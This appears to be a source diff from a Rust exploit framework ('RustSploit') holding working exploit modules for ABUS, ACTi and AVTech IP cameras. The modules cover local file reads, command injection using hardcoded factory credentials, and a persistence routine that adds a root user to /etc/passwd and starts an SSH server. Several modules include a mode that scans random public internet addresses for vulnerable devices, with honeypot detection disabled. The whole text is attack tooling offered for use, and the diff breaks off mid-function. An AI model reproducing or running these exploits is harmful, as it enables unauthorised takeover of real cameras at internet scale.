print!("{}", "Enter file path to read (e.g. /etc/passwd): ".cyan().bold());
|
||||
tokio::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
let mut fp = String::new();
|
||||
tokio::io::BufReader::new(tokio::io::stdin())
|
||||
.read_line(&mut fp)
|
||||
.await
|
||||
.context("Failed to read file path")?;
|
||||
exploit_lfi(&client, target, fp.trim()).await?;
|
||||
}
|
||||
"2" => {
|
||||
print!("{}", "Enter command to execute (e.g. id): ".cyan().bold());
|
||||
tokio::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
let mut cmd = String::new();
|
||||
tokio::io::BufReader::new(tokio::io::stdin())
|
||||
.read_line(&mut cmd)
|
||||
.await
|
||||
.context("Failed to read command")?;
|
||||
exploit_rce(&client, target, cmd.trim()).await?;
|
||||
}
|
||||
"3" => {
|
||||
// Ask for the desired password, hash it, and persist
|
||||
print!("{}", "Enter desired password for new root user: ".cyan().bold());
|
||||
tokio::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
let mut pwd = String::new();
|
||||
tokio::io::BufReader::new(tokio::io::stdin())
|
||||
.read_line(&mut pwd)
|
||||
.await
|
||||
.context("Failed to read password")?;
|
||||
let pwd = pwd.trim();
|
||||
if pwd.is_empty() {
|
||||
return Err(anyhow!("Password cannot be empty"));
|
||||
}
|
||||
persist_root_shell(&client, target, pwd).await?;
|
||||
}
|
||||
_ => {
|
||||
println!("{}", "[-] Invalid choice".red());
|
||||
return Err(anyhow!("Invalid choice"));
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Quick vulnerability check for mass scanning (no honeypot detection)
|
||||
async fn quick_check(client: &Client, ip: &str, mode: ScanMode, custom_cmd: &str) -> bool {
|
||||
let host = format!("{}:{}", ip, MASS_SCAN_PORT);
|
||||
let cmd = if let ScanMode::CustomCommand = mode { custom_cmd } else { "id" };
|
||||
|
||||
let url = format!(
|
||||
"http://manufacture:erutcafunam@{}/cgi-bin/mft/wireless_mft?ap=testname;{}",
|
||||
host, cmd
|
||||
);
|
||||
|
||||
match tokio::time::timeout(
|
||||
Duration::from_secs(5),
|
||||
client.get(&url).send()
|
||||
).await {
|
||||
Ok(Ok(resp)) => resp.status().is_success(),
|
||||
_ => false,
|
||||
}
|
||||
}
|
||||
|
||||
/// Mass scan mode - infinite random IP scanning
|
||||
async fn run_mass_scan() -> Result<()> {
|
||||
display_banner();
|
||||
println!("{}", "[*] Mass Scan Mode: 0.0.0.0/0".yellow().bold());
|
||||
println!("{}", "[*] Honeypot detection: DISABLED".yellow());
|
||||
println!("{}", format!("[*] Concurrency: {}", MASS_SCAN_CONCURRENCY).cyan());
|
||||
|
||||
// Prompt for Output File
|
||||
print!("{}", "[?] Output File (default: abus_hits.txt): ".cyan());
|
||||
tokio::io::stdout().flush().await?;
|
||||
let mut outfile = String::new();
|
||||
tokio::io::BufReader::new(tokio::io::stdin()).read_line(&mut outfile).await?;
|
||||
let outfile = outfile.trim();
|
||||
let outfile = if outfile.is_empty() { "abus_hits.txt" } else { outfile };
|
||||
let outfile = outfile.to_string();
|
||||
|
||||
// Prompt for Payload Mode
|
||||
println!("{}", "[?] Select Payload Mode:".cyan());
|
||||
println!(" 1. Standard Check (Command: id)");
|
||||
println!(" 2. Custom Command");
|
||||
print!("{}", "Select option [1-2] (default 1): ".cyan());
|
||||
tokio::io::stdout().flush().await?;
|
||||
let mut mode_str = String::new();
|
||||
tokio::io::BufReader::new(tokio::io::stdin()).read_line(&mut mode_str).await?;
|
||||
let mode = match mode_str.trim() {
|
||||
"2" => ScanMode::CustomCommand,
|
||||
_ => ScanMode::StandardCheck,
|
||||
};
|
||||
|
||||
let mut custom_cmd = String::new();
|
||||
if let ScanMode::CustomCommand = mode {
|
||||
print!("{}", "[?] Enter Custom Command: ".cyan());
|
||||
tokio::io::stdout().flush().await?;
|
||||
tokio::io::BufReader::new(tokio::io::stdin()).read_line(&mut custom_cmd).await?;
|
||||
custom_cmd = custom_cmd.trim().to_string();
|
||||
}
|
||||
let custom_cmd = Arc::new(custom_cmd);
|
||||
|
||||
let mut exclusions = Vec::new();
|
||||
for cidr in EXCLUDED_RANGES {
|
||||
if let Ok(net) = cidr.parse::<ipnetwork::IpNetwork>() {
|
||||
exclusions.push(net);
|
||||
}
|
||||
}
|
||||
let exclusions = Arc::new(exclusions);
|
||||
|
||||
let client = Client::builder()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS))
|
||||
.build()?;
|
||||
let client = Arc::new(client);
|
||||
|
||||
let semaphore = Arc::new(Semaphore::new(MASS_SCAN_CONCURRENCY));
|
||||
let checked = Arc::new(AtomicUsize::new(0));
|
||||
let found = Arc::new(AtomicUsize::new(0));
|
||||
|
||||
// Result writer channel
|
||||
let (tx, mut rx) = mpsc::unbounded_channel::<String>();
|
||||
let outfile_clone = outfile.clone();
|
||||
tokio::spawn(async move {
|
||||
let mut file = OpenOptions::new()
|
||||
.create(true)
|
||||
.append(true)
|
||||
.open(&outfile_clone)
|
||||
.await
|
||||
.expect("Failed to open output file");
|
||||
|
||||
while let Some(result) = rx.recv().await {
|
||||
let _ = file.write_all(result.as_bytes()).await;
|
||||
}
|
||||
});
|
||||
|
||||
// Stats reporter
|
||||
let c = checked.clone();
|
||||
let f = found.clone();
|
||||
tokio::spawn(async move {
|
||||
loop {
|
||||
tokio::time::sleep(Duration::from_secs(10)).await;
|
||||
println!("[*] Checked: {} | Found: {}", c.load(Ordering::Relaxed), f.load(Ordering::Relaxed));
|
||||
}
|
||||
});
|
||||
|
||||
loop {
|
||||
let permit = semaphore.clone().acquire_owned().await.unwrap();
|
||||
let exc = exclusions.clone();
|
||||
let cl = client.clone();
|
||||
let chk = checked.clone();
|
||||
let fnd = found.clone();
|
||||
let tx = tx.clone();
|
||||
let cc = custom_cmd.clone();
|
||||
let current_mode = mode;
|
||||
|
||||
tokio::spawn(async move {
|
||||
let ip = generate_random_public_ip(&exc);
|
||||
let ip_str = ip.to_string();
|
||||
|
||||
if quick_check(&cl, &ip_str, current_mode, &cc).await {
|
||||
println!("{}", format!("[+] VULNERABLE: {}", ip_str).green().bold());
|
||||
fnd.fetch_add(1, Ordering::Relaxed);
|
||||
|
||||
let timestamp = Local::now().format("%Y-%m-%d %H:%M:%S").to_string();
|
||||
let log_entry = format!("{} - {}\n", ip_str, timestamp);
|
||||
let _ = tx.send(log_entry);
|
||||
}
|
||||
|
||||
chk.fetch_add(1, Ordering::Relaxed);
|
||||
drop(permit);
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
/// Entry point for the RustSploit dispatch system
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
if target == "0.0.0.0/0" || target.is_empty() || target == "random" {
|
||||
run_mass_scan().await
|
||||
} else {
|
||||
execute(target).await
|
||||
}
|
||||
}
|
||||
@@ -1,126 +0,0 @@
|
||||
use anyhow::{anyhow, Result, Context};
|
||||
use colored::*;
|
||||
use reqwest::Client;
|
||||
use std::time::Duration;
|
||||
use tokio::io::{AsyncBufReadExt, AsyncWriteExt};
|
||||
|
||||
/// Executes an RCE on ACTi ACM-5611 Video Camera using command injection
|
||||
/// Reference:
|
||||
/// - https://www.exploitalert.com/view-details.html?id=34128
|
||||
/// - https://packetstormsecurity.com/files/154626/ACTi-ACM-5611-Video-Camera-Remote-Command-Execution.html
|
||||
|
||||
/// Exploit authors:
|
||||
/// - Todor Donev <todor.donev@gmail.com>
|
||||
/// - GH0st3rs (RouterSploit module)
|
||||
|
||||
const DEFAULT_PORT: u16 = 8080;
|
||||
const DEFAULT_TIMEOUT_SECS: u64 = 10;
|
||||
|
||||
/// Display module banner
|
||||
fn display_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ ACTi ACM-5611 Video Camera RCE Exploit ║".cyan());
|
||||
println!("{}", "║ Command Injection via /cgi-bin/test ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
}
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
display_banner();
|
||||
println!("{}", format!("[*] Target: {}", target).yellow());
|
||||
println!();
|
||||
|
||||
// Prompt for port
|
||||
print!("{}", format!("Enter target port (default {}): ", DEFAULT_PORT).cyan().bold());
|
||||
tokio::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
let mut port_input = String::new();
|
||||
tokio::io::BufReader::new(tokio::io::stdin())
|
||||
.read_line(&mut port_input)
|
||||
.await
|
||||
.context("Failed to read port input")?;
|
||||
let port: u16 = port_input.trim().parse().unwrap_or(DEFAULT_PORT);
|
||||
|
||||
println!("{}", format!("[*] Checking vulnerability on {}:{}...", target, port).yellow());
|
||||
|
||||
if check(target, port).await? {
|
||||
println!("{}", format!("[+] Target appears vulnerable: {}:{}", target, port).green().bold());
|
||||
|
||||
// Prompt for command to execute
|
||||
print!("{}", "Enter command to execute (default: id): ".cyan().bold());
|
||||
tokio::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
let mut cmd_input = String::new();
|
||||
tokio::io::BufReader::new(tokio::io::stdin())
|
||||
.read_line(&mut cmd_input)
|
||||
.await
|
||||
.context("Failed to read command input")?;
|
||||
let cmd = {
|
||||
let t = cmd_input.trim();
|
||||
if t.is_empty() { "id" } else { t }
|
||||
};
|
||||
|
||||
println!("{}", format!("[*] Executing command: {}", cmd).cyan());
|
||||
let output = execute(target, port, cmd).await?;
|
||||
println!("{}", format!("[+] Output:\n{}", output).green());
|
||||
} else {
|
||||
println!("{}", format!("[-] Exploit failed - target {}:{} does not seem vulnerable", target, port).red());
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Perform a command injection via GET /cgi-bin/test?iperf=;<cmd>
|
||||
async fn execute(target: &str, port: u16, cmd: &str) -> Result<String> {
|
||||
let url = format!("http://{}:{}/cgi-bin/test", target, port);
|
||||
let client = Client::builder()
|
||||
.timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS))
|
||||
.danger_accept_invalid_certs(true)
|
||||
.build()?;
|
||||
|
||||
let url = reqwest::Url::parse_with_params(&url, &[("iperf", format!(";{}", cmd))])?;
|
||||
|
||||
let res = client
|
||||
.get(url)
|
||||
.header("Content-Type", "application/x-www-form-urlencoded")
|
||||
.header("Referer", format!("http://{}:{}", target, port))
|
||||
.send()
|
||||
.await?;
|
||||
|
||||
if res.status().is_success() {
|
||||
let text = res.text().await?;
|
||||
Ok(text)
|
||||
} else {
|
||||
Err(anyhow!("Command execution failed, status code: {}", res.status()))
|
||||
}
|
||||
}
|
||||
|
||||
/// Check if the target is running the vulnerable service
|
||||
async fn check(target: &str, port: u16) -> Result<bool> {
|
||||
let url = format!("http://{}:{}/cgi-bin/test", target, port);
|
||||
let index_url = format!("http://{}:{}/", target, port);
|
||||
let client = Client::builder()
|
||||
.timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS))
|
||||
.danger_accept_invalid_certs(true)
|
||||
.build()?;
|
||||
|
||||
// Check /cgi-bin/test
|
||||
let test_res = client.get(&url).send().await?;
|
||||
if test_res.status().is_success() {
|
||||
println!("{}", "[*] CGI endpoint accessible".cyan());
|
||||
// Check root page contains 'Web Configurator'
|
||||
let index_res = client.get(&index_url).send().await?;
|
||||
if index_res.status().is_success() {
|
||||
let body = index_res.text().await?;
|
||||
if body.contains("Web Configurator") {
|
||||
println!("{}", "[*] ACTi Web Configurator detected".cyan());
|
||||
return Ok(true);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Ok(false)
|
||||
}
|
||||
@@ -1,268 +0,0 @@
|
||||
use anyhow::{Result, Context};
|
||||
use colored::*;
|
||||
use rand::Rng;
|
||||
use reqwest::Client;
|
||||
use std::net::{IpAddr, Ipv4Addr};
|
||||
use std::path::Path;
|
||||
use std::sync::Arc;
|
||||
use std::sync::atomic::{AtomicUsize, Ordering};
|
||||
use std::time::Duration;
|
||||
use tokio::io::{AsyncBufReadExt, AsyncWriteExt};
|
||||
use tokio::sync::Semaphore;
|
||||
use crate::utils::escape_shell_command;
|
||||
|
||||
const DEFAULT_PORT: &str = "80";
|
||||
const DEFAULT_TIMEOUT_SECS: u64 = 10;
|
||||
const MASS_SCAN_CONCURRENCY: usize = 100;
|
||||
const MASS_SCAN_PORT: u16 = 80;
|
||||
|
||||
// Bogon/Private/Reserved exclusion ranges
|
||||
const EXCLUDED_RANGES: &[&str] = &[
|
||||
"10.0.0.0/8", "127.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16",
|
||||
"224.0.0.0/4", "240.0.0.0/4", "0.0.0.0/8",
|
||||
"100.64.0.0/10", "169.254.0.0/16", "255.255.255.255/32",
|
||||
"103.21.244.0/22", "103.22.200.0/22", "103.31.4.0/22", "104.16.0.0/13",
|
||||
"104.24.0.0/14", "108.162.192.0/18", "131.0.72.0/22", "141.101.64.0/18",
|
||||
"162.158.0.0/15", "172.64.0.0/13", "173.245.48.0/20", "188.114.96.0/20",
|
||||
"190.93.240.0/20", "197.234.240.0/22", "198.41.128.0/17",
|
||||
"1.1.1.1/32", "1.0.0.1/32", "8.8.8.8/32", "8.8.4.4/32",
|
||||
];
|
||||
|
||||
fn generate_random_public_ip(exclusions: &[ipnetwork::IpNetwork]) -> IpAddr {
|
||||
let mut rng = rand::rng();
|
||||
loop {
|
||||
let octets: [u8; 4] = rng.random();
|
||||
let ip = Ipv4Addr::from(octets);
|
||||
let ip_addr = IpAddr::V4(ip);
|
||||
if !exclusions.iter().any(|net| net.contains(ip_addr)) {
|
||||
return ip_addr;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Display module banner
|
||||
fn display_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ AVTech Camera CVE-2024-7029 RCE Exploit ║".cyan());
|
||||
println!("{}", "║ Command Injection via brightness parameter ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
}
|
||||
|
||||
/// // Ensures the target string has a scheme (http://) and includes port
|
||||
fn normalize_url(ip: &str, port: &str) -> String {
|
||||
let with_scheme = if ip.starts_with("http://") || ip.starts_with("https://") {
|
||||
ip.to_string()
|
||||
} else {
|
||||
format!("http://{}", ip)
|
||||
};
|
||||
|
||||
let port = port.trim();
|
||||
if port.is_empty() {
|
||||
with_scheme
|
||||
} else if with_scheme.contains(':') {
|
||||
with_scheme // already has port
|
||||
} else {
|
||||
format!("{}:{}", with_scheme, port)
|
||||
}
|
||||
}
|
||||
|
||||
/// Check if the device is vulnerable to CVE-2024-7029
|
||||
async fn check_vuln(client: &Client, base: &str) -> Result<bool> {
|
||||
println!("{}", "[*] Checking vulnerability...".cyan());
|
||||
let mut url = reqwest::Url::parse(base)?;
|
||||
url.set_path("/cgi-bin/supervisor/Factory.cgi");
|
||||
url.query_pairs_mut()
|
||||
.append_pair("action", "Set")
|
||||
.append_pair("brightness", "1;echo_CVE7029;");
|
||||
let resp = client.get(url).send().await?;
|
||||
let body = resp.text().await?;
|
||||
Ok(body.contains("echo_CVE7029"))
|
||||
}
|
||||
|
||||
/// Interactive shell to send arbitrary commands
|
||||
async fn interactive_shell(client: &Client, base: &str) -> Result<()> {
|
||||
let stdin = tokio::io::stdin();
|
||||
let mut lines = tokio::io::BufReader::new(stdin).lines();
|
||||
|
||||
println!("{}", "[+] Interactive shell started. Type 'exit' to quit.".green().bold());
|
||||
loop {
|
||||
print!("{}", "cve7029-shell> ".cyan().bold());
|
||||
tokio::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
if let Some(cmd) = lines.next_line().await? {
|
||||
let cmd = cmd.trim();
|
||||
if cmd.eq_ignore_ascii_case("exit") {
|
||||
println!("{}", "[*] Exiting shell...".yellow());
|
||||
break;
|
||||
}
|
||||
if cmd.is_empty() {
|
||||
continue;
|
||||
}
|
||||
match exec_cmd(client, base, cmd).await {
|
||||
Ok(out) => println!("{}", out),
|
||||
Err(e) => println!("{}", format!("[-] Error: {}", e).red()),
|
||||
}
|
||||
} else {
|
||||
break;
|
||||
}
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// // Execute a remote command by abusing the brightness parameter
|
||||
async fn exec_cmd(client: &Client, base: &str, cmd: &str) -> Result<String> {
|
||||
let mut url = reqwest::Url::parse(base)?;
|
||||
url.set_path("/cgi-bin/supervisor/Factory.cgi");
|
||||
// Escape command to prevent injection of additional shell commands
|
||||
let escaped_cmd = escape_shell_command(cmd);
|
||||
let payload = format!("1;{};", escaped_cmd);
|
||||
url.query_pairs_mut()
|
||||
.append_pair("action", "Set")
|
||||
.append_pair("brightness", &payload);
|
||||
let response = client.get(url).send().await?;
|
||||
Ok(response.text().await?)
|
||||
}
|
||||
|
||||
/// Prompt user for a custom port number
|
||||
async fn prompt_port() -> Result<String> {
|
||||
print!("{}", format!("Enter port to use [default: {}]: ", DEFAULT_PORT).cyan().bold());
|
||||
tokio::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
let mut port = String::new();
|
||||
tokio::io::BufReader::new(tokio::io::stdin())
|
||||
.read_line(&mut port)
|
||||
.await
|
||||
.context("Failed to read port")?;
|
||||
let port = port.trim();
|
||||
Ok(if port.is_empty() { DEFAULT_PORT.to_string() } else { port.to_string() })
|
||||
}
|
||||
|
||||
/// Quick vulnerability check for mass scanning
|
||||
async fn quick_check(client: &Client, ip: &str) -> bool {
|
||||
let host = format!("{}:{}", ip, MASS_SCAN_PORT);
|
||||
let url = format!("http://{}/cgi-bin/supervisor/Factory.cgi?action=Set&brightness=1;echo_CVE7029;", host);
|
||||
|
||||
match tokio::time::timeout(
|
||||
Duration::from_secs(5),
|
||||
client.get(&url).send()
|
||||
).await {
|
||||
Ok(Ok(resp)) => {
|
||||
if let Ok(body) = resp.text().await {
|
||||
body.contains("echo_CVE7029")
|
||||
} else {
|
||||
false
|
||||
}
|
||||
},
|
||||
_ => false,
|
||||
}
|
||||
}
|
||||
|
||||
/// Mass scan mode
|
||||
async fn run_mass_scan() -> Result<()> {
|
||||
display_banner();
|
||||
println!("{}", "[*] Mass Scan Mode: 0.0.0.0/0".yellow().bold());
|
||||
println!("{}", "[*] Honeypot detection: DISABLED".yellow());
|
||||
println!("{}", format!("[*] Concurrency: {}", MASS_SCAN_CONCURRENCY).cyan());
|
||||
|
||||
let mut exclusions = Vec::new();
|
||||
for cidr in EXCLUDED_RANGES {
|
||||
if let Ok(net) = cidr.parse::<ipnetwork::IpNetwork>() {
|
||||
exclusions.push(net);
|
||||
}
|
||||
}
|
||||
let exclusions = Arc::new(exclusions);
|
||||
|
||||
let client = Client::builder()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS))
|
||||
.build()?;
|
||||
let client = Arc::new(client);
|
||||
|
||||
let semaphore = Arc::new(Semaphore::new(MASS_SCAN_CONCURRENCY));
|
||||
let checked = Arc::new(AtomicUsize::new(0));
|
||||
let found = Arc::new(AtomicUsize::new(0));
|
||||
|
||||
let c = checked.clone();
|
||||
let f = found.clone();
|
||||
tokio::spawn(async move {
|
||||
loop {
|
||||
tokio::time::sleep(Duration::from_secs(10)).await;
|
||||
println!("[*] Checked: {} | Found: {}", c.load(Ordering::Relaxed), f.load(Ordering::Relaxed));
|
||||
}
|
||||
});
|
||||
|
||||
loop {
|
||||
let permit = semaphore.clone().acquire_owned().await.unwrap();
|
||||
let exc = exclusions.clone();
|
||||
let cl = client.clone();
|
||||
let chk = checked.clone();
|
||||
let fnd = found.clone();
|
||||
|
||||
tokio::spawn(async move {
|
||||
let ip = generate_random_public_ip(&exc);
|
||||
let ip_str = ip.to_string();
|
||||
|
||||
if quick_check(&cl, &ip_str).await {
|
||||
println!("{}", format!("[+] VULNERABLE: {}", ip_str).green().bold());
|
||||
fnd.fetch_add(1, Ordering::Relaxed);
|
||||
}
|
||||
|
||||
chk.fetch_add(1, Ordering::Relaxed);
|
||||
drop(permit);
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
/// Entry point required for RouterSploit-inspired dispatch system
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
if target == "0.0.0.0/0" || target.is_empty() || target == "random" {
|
||||
run_mass_scan().await
|
||||
} else {
|
||||
display_banner();
|
||||
println!("{}", format!("[*] Target: {}", target).yellow());
|
||||
println!();
|
||||
|
||||
let port = prompt_port().await?;
|
||||
let client = Client::builder()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS))
|
||||
.build()?;
|
||||
|
||||
// Handle either single IP or file of targets
|
||||
let targets = if Path::new(target).exists() {
|
||||
println!("{}", format!("[*] Loading targets from file: {}", target).cyan());
|
||||
tokio::fs::read_to_string(target)
|
||||
.await?
|
||||
.lines()
|
||||
.map(str::to_string)
|
||||
.filter(|s| !s.trim().is_empty())
|
||||
.collect::<Vec<_>>()
|
||||
} else {
|
||||
vec![target.to_string()]
|
||||
};
|
||||
|
||||
println!("{}", format!("[*] Testing {} target(s)...", targets.len()).cyan());
|
||||
println!();
|
||||
|
||||
for raw_ip in &targets {
|
||||
let url = normalize_url(raw_ip, &port);
|
||||
println!("{}", format!("[*] Testing: {}", url).yellow());
|
||||
|
||||
if check_vuln(&client, &url).await? {
|
||||
println!("{}", format!("[+] {} is VULNERABLE!", url).green().bold());
|
||||
interactive_shell(&client, &url).await?;
|
||||
} else {
|
||||
println!("{}", format!("[-] {} is not vulnerable", url).red());
|
||||
}
|
||||
println!();
|
||||
}
|
||||
|
||||
println!("{}", "[*] Scan complete.".cyan());
|
||||
Ok(())
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1 @@
|
||||
pub mod wpair;
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,344 @@
|
||||
// Exploit Title: ABUS Security Camera TVIP 20000-21150 - LFI, RCE and SSH Root Access
|
||||
// CVE: CVE-2023-26609
|
||||
// Author: d1g@segfault.net | Ported to Rust for RustSploit
|
||||
// PoC converted 1:1 from Bash to async Rust logic
|
||||
|
||||
use anyhow::{anyhow, Result};
|
||||
use colored::*;
|
||||
use md5;
|
||||
use reqwest::Client;
|
||||
use crate::utils::{generate_random_public_ip, EXCLUDED_RANGES};
|
||||
use crate::utils::{is_mass_scan_target, run_mass_scan, MassScanConfig};
|
||||
use std::sync::Arc;
|
||||
use std::sync::atomic::{AtomicUsize, Ordering};
|
||||
|
||||
use std::time::Duration;
|
||||
use tokio::io::AsyncWriteExt;
|
||||
use tokio::sync::Semaphore;
|
||||
use tokio::sync::mpsc;
|
||||
use tokio::fs::OpenOptions;
|
||||
use chrono::Local;
|
||||
use crate::utils::{
|
||||
normalize_target,
|
||||
cfg_prompt_default, cfg_prompt_required, cfg_prompt_yes_no,
|
||||
cfg_prompt_output_file,
|
||||
};
|
||||
|
||||
const DEFAULT_TIMEOUT_SECS: u64 = 10;
|
||||
const MASS_SCAN_CONCURRENCY: usize = 100;
|
||||
const MASS_SCAN_PORT: u16 = 80;
|
||||
|
||||
|
||||
#[derive(Clone, Copy, Debug)]
|
||||
enum ScanMode {
|
||||
StandardCheck,
|
||||
CustomCommand,
|
||||
}
|
||||
|
||||
/// Send authenticated LFI request
|
||||
async fn exploit_lfi(client: &Client, target: &str, filepath: &str) -> Result<()> {
|
||||
let host = normalize_target(target)?;
|
||||
let url = format!(
|
||||
"http://admin:admin@{}/cgi-bin/admin/fileread?READ.filePath={}",
|
||||
host, filepath
|
||||
);
|
||||
crate::mprintln!("{}", format!("[*] Sending LFI request to: {}", url).cyan());
|
||||
|
||||
let resp = client.get(&url).send().await?;
|
||||
let status = resp.status();
|
||||
let body = resp.text().await?;
|
||||
|
||||
if status.is_success() {
|
||||
crate::mprintln!("{}", format!("[+] Status: {}", status).green());
|
||||
crate::mprintln!("{}", "[+] Body:".green());
|
||||
crate::mprintln!("{}", body);
|
||||
} else {
|
||||
crate::mprintln!("{}", format!("[-] Status: {}", status).red());
|
||||
crate::mprintln!("{}", format!("[-] Body:\n{}", body).red());
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Send authenticated RCE request with command injection
|
||||
async fn exploit_rce(client: &Client, target: &str, cmd: &str) -> Result<()> {
|
||||
let host = normalize_target(target)?;
|
||||
let url = format!(
|
||||
"http://manufacture:erutcafunam@{}/cgi-bin/mft/wireless_mft?ap=testname;{}",
|
||||
host, cmd
|
||||
);
|
||||
crate::mprintln!("{}", format!("[*] Sending RCE request to: {}", url).cyan());
|
||||
|
||||
let resp = client.get(&url).send().await?;
|
||||
let status = resp.status();
|
||||
let body = resp.text().await?;
|
||||
|
||||
if status.is_success() {
|
||||
crate::mprintln!("{}", format!("[+] Status: {}", status).green());
|
||||
crate::mprintln!("{}", "[+] Body:".green());
|
||||
crate::mprintln!("{}", body);
|
||||
} else {
|
||||
crate::mprintln!("{}", format!("[-] Status: {}", status).red());
|
||||
crate::mprintln!("{}", format!("[-] Body:\n{}", body).red());
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Stage 1: Generate SSH key
|
||||
async fn generate_ssh_key(client: &Client, target: &str) -> Result<()> {
|
||||
let cmd = "/etc/dropbear/dropbearkey%20-t%20rsa%20-f%20/etc/dropbear/dropbear_rsa_host_key";
|
||||
crate::mprintln!("{}", "[*] Stage 1: Generating SSH key on target...".yellow());
|
||||
exploit_rce(client, target, cmd).await
|
||||
}
|
||||
|
||||
/// Stage 2: Inject a root user with an MD5-hashed password
|
||||
async fn inject_root_user(client: &Client, target: &str, password: &str) -> Result<()> {
|
||||
let hash = format!("{:x}", md5::compute(password));
|
||||
crate::mprintln!("{}", format!("[*] MD5 hash of password: {}", hash).cyan());
|
||||
|
||||
let cmd = format!(
|
||||
"echo%20d1g:{}:0:0:root:/:/bin/sh%20>>%20/etc/passwd",
|
||||
hash
|
||||
);
|
||||
crate::mprintln!("{}", "[*] Stage 2: Injecting root user into /etc/passwd...".yellow());
|
||||
exploit_rce(client, target, &cmd).await
|
||||
}
|
||||
|
||||
/// Stage 3: Start Dropbear SSH server
|
||||
async fn start_dropbear(client: &Client, target: &str) -> Result<()> {
|
||||
let cmd = "/etc/dropbear/dropbear%20-E%20-F";
|
||||
crate::mprintln!("{}", "[*] Stage 3: Starting Dropbear SSH server...".yellow());
|
||||
exploit_rce(client, target, cmd).await
|
||||
}
|
||||
|
||||
/// Combined SSH persistence exploit
|
||||
async fn persist_root_shell(client: &Client, target: &str, password: &str) -> Result<()> {
|
||||
generate_ssh_key(client, target).await?;
|
||||
inject_root_user(client, target, password).await?;
|
||||
start_dropbear(client, target).await?;
|
||||
crate::mprintln!("{}", "[+] Persistence complete! You can now SSH in with:".green().bold());
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!(
|
||||
" sshpass -p '{}' ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 \\\n -oHostKeyAlgorithms=+ssh-rsa d1g@{}",
|
||||
password, target
|
||||
).cyan()
|
||||
);
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Display module banner
|
||||
fn display_banner() {
|
||||
if crate::utils::is_batch_mode() { return; }
|
||||
crate::mprintln!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
|
||||
crate::mprintln!("{}", "║ ABUS Security Camera TVIP 20000-21150 Exploit ║".cyan());
|
||||
crate::mprintln!("{}", "║ CVE-2023-26609 - LFI, RCE and SSH Root Access ║".cyan());
|
||||
crate::mprintln!("{}", "║ Variant 1 - Multi-mode (LFI/RCE/Persistence) ║".cyan());
|
||||
crate::mprintln!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
}
|
||||
|
||||
/// Dispatch single-target exploit modes.
|
||||
///
|
||||
/// API prompts:
|
||||
/// - "mode" : exploit mode "1" (LFI) / "2" (RCE) / "3" (SSH Persistence) — default "1"
|
||||
/// - "filepath" : file path for LFI mode (default: /etc/passwd)
|
||||
/// - "command" : shell command for RCE mode (default: id)
|
||||
/// - "password" : root password for persistence mode (required)
|
||||
async fn execute(target: &str) -> Result<()> {
|
||||
let client = crate::utils::build_http_client(Duration::from_secs(DEFAULT_TIMEOUT_SECS))?;
|
||||
|
||||
display_banner();
|
||||
crate::mprintln!("{}", format!("[*] Target: {}", target).yellow());
|
||||
crate::mprintln!();
|
||||
crate::mprintln!("{}", "[*] Exploit mode selection:".cyan().bold());
|
||||
crate::mprintln!(" {} LFI (Local File Inclusion)", "[1]".green());
|
||||
crate::mprintln!(" {} RCE (Remote Code Execution)", "[2]".green());
|
||||
crate::mprintln!(" {} SSH Persistence (Full Compromise)", "[3]".green());
|
||||
|
||||
// cfg_prompt_default falls back to interactive stdin when not in API mode
|
||||
let choice = cfg_prompt_default("mode", "Select mode [1-3]", "1").await?;
|
||||
|
||||
match choice.trim() {
|
||||
"1" => {
|
||||
let fp = cfg_prompt_default("filepath", "Enter file path to read", "/etc/passwd").await?;
|
||||
exploit_lfi(&client, target, &fp).await?;
|
||||
}
|
||||
"2" => {
|
||||
let cmd = cfg_prompt_default("command", "Enter command to execute", "id").await?;
|
||||
exploit_rce(&client, target, &cmd).await?;
|
||||
}
|
||||
"3" => {
|
||||
let pwd = cfg_prompt_required("password", "Enter desired password for new root user").await?;
|
||||
persist_root_shell(&client, target, &pwd).await?;
|
||||
}
|
||||
